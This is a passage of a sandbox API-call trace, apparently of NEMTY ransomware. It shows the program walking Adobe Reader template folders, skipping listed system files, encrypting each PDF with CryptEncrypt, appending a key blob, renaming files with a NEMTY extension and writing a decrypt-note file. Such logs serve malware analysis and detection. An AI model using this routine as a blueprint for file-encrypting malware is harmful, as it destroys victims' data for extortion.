hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0171.559] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\fra\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0171.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.560] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.560] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0171.561] CloseHandle (hObject=0x254) returned 1 [0171.561] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0171.561] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0171.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0171.561] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x19e63590, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x19e63590, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0171.561] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0171.561] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x19e63590, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x19e63590, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0171.561] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0171.561] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0171.561] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10ab0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0171.561] lstrcmpiW (lpString1="AdobeID.pdf", lpString2=".") returned 1 [0171.561] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="..") returned 1 [0171.561] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="...") returned 1 [0171.561] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="windows") returned -1 [0171.561] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="$RECYCLE.BIN") returned 1 [0171.561] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="rsa") returned -1 [0171.561] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="NTDETECT.COM") returned -1 [0171.561] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="ntldr") returned -1 [0171.561] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="MSDOS.SYS") returned -1 [0171.561] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="IO.SYS") returned -1 [0171.561] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="boot.ini") returned -1 [0171.561] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="boot.ini") returned -1 [0171.562] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="AUTOEXEC.BAT") returned -1 [0171.562] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="ntuser.dat") returned -1 [0171.562] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="desktop.ini") returned -1 [0171.562] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="CONFIG.SYS") returned -1 [0171.562] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="RECYCLER") returned -1 [0171.562] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="BOOTSECT.BAK") returned -1 [0171.562] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="bootmgr") returned -1 [0171.562] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="programdata") returned -1 [0171.562] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="appdata") returned -1 [0171.562] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.562] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.562] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.562] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.562] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.562] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.562] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.562] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.562] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.562] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.562] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.562] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.562] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0171.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0171.562] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0171.562] Sleep (dwMilliseconds=0x5) [0171.566] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x19e896f0, dwHighDateTime=0x1d561e8)) [0171.566] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x19e896f0, dwHighDateTime=0x1d561e8)) [0171.567] GetLastError () returned 0xb7 [0171.567] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.567] GetLastError () returned 0xb7 [0171.567] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.567] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.567] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.567] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0171.567] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0171.567] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0171.567] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0171.567] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e5dc | out: pszString="vxDsXHC1sdUvSDY/tlqd3+EjmFQnDT/+P934y3ODTE8Hb/Qd7cfEcVmf9R8qR/h8\r\nao1GMCIi9x24dEPruS6I7bgb+vTly4p15AfooU+Z/6F+KR20P2rkwrXfA5gWIDCP\r\ndwE657ON4oKYia11OlQws+eAK11KWczjMcroak/fJH67HH56MSjaP5reLTJkdNw/\r\neF2LIz7t/VYMXmmf5DsCwnCBegNmoJ02uChQmmwq6gc99LCEiNbpABqsaKgRx9L6\r\njpv/5BoESnPi1RBmo/r5DdYdBWgxVrY8lP20ZIaGxSINMAqUdC+riH+kudKdaOIS\r\nK9O5DoGm5o4pwQ66MQ4Cxw==\r\n", pcchString=0x653e5dc) returned 1 [0171.567] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0171.567] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0171.567] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.567] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0171.567] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0171.567] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0171.567] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\fra\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0171.567] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=68272) returned 1 [0171.567] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10ab0) returned 0x6352c48 [0171.567] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.568] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x10ab0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x10ab0, lpOverlapped=0x0) returned 1 [0171.573] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.573] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x10ab0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x10ab0, lpOverlapped=0x0) returned 1 [0171.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0171.574] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=68272, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x10ab0 [0171.574] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340240*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340240*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0171.574] CloseHandle (hObject=0x3b0) returned 1 [0171.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0171.574] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.574] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340458 [0171.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0171.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0171.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.574] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\fra\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\fra\\adobeid.pdf._nemty_kgobjgd_")) returned 1 [0171.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0171.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0171.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0171.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0171.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0171.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0171.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.576] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10596, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 1 [0171.576] lstrcmpiW (lpString1="DefaultID.pdf", lpString2=".") returned 1 [0171.576] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="..") returned 1 [0171.576] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="...") returned 1 [0171.576] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="windows") returned -1 [0171.576] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="$RECYCLE.BIN") returned 1 [0171.576] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="rsa") returned -1 [0171.576] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="NTDETECT.COM") returned -1 [0171.576] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="ntldr") returned -1 [0171.576] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="MSDOS.SYS") returned -1 [0171.576] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="IO.SYS") returned -1 [0171.576] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="boot.ini") returned 1 [0171.576] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="boot.ini") returned 1 [0171.576] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0171.576] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="ntuser.dat") returned -1 [0171.576] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="desktop.ini") returned -1 [0171.577] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="CONFIG.SYS") returned 1 [0171.577] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="RECYCLER") returned -1 [0171.577] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="BOOTSECT.BAK") returned 1 [0171.577] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="bootmgr") returned 1 [0171.577] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="programdata") returned -1 [0171.577] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="appdata") returned 1 [0171.577] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.577] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.577] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.577] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.577] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.577] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.577] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.577] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.577] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.577] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.577] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.577] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.577] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.577] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.577] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.577] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.577] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0171.577] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0171.577] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0171.577] Sleep (dwMilliseconds=0x5) [0171.582] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x19eaf850, dwHighDateTime=0x1d561e8)) [0171.582] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x19eaf850, dwHighDateTime=0x1d561e8)) [0171.582] GetLastError () returned 0x0 [0171.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.582] GetLastError () returned 0x0 [0171.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.582] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0171.582] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0171.583] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0171.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0171.583] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e5dc | out: pszString="S97eNnjrtyf0vZl5cQjJxO/5kFvSBXBKOoM02UVRXnLXGohwh59nRR/DJMYIlKNU\r\ncuXkxrHTKckAgJY3Qk1/vFHwXvOvK2PGFhSJ0bjJEo02VM0iyfUr04Cnm31QcMe3\r\nDrnBdtvSrH7Qn0cSWPtW2jkHJb/HsG8DnXAXJ+mwtY8R279EN1AYXzFozmBmMlmF\r\nHYz5tQr2qSR4rAHvqC8ysnuwcaiW2mXdoUrSci6U4tGDpdryLJCWWsEOGPS3yHiE\r\nQHjtg0wm0Rgwh3dxaduEiF9FbfPFHMoLoQwiRed1jEHdd0DLNt2Ff0Wyr1IGx5g5\r\n6zP5Yi74BxTkVhjNrxHnwQ==\r\n", pcchString=0x653e5dc) returned 1 [0171.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0171.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0171.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0171.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0171.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0171.583] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\fra\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0171.583] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=66966) returned 1 [0171.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10590) returned 0x6352c48 [0171.583] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.583] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x10590, 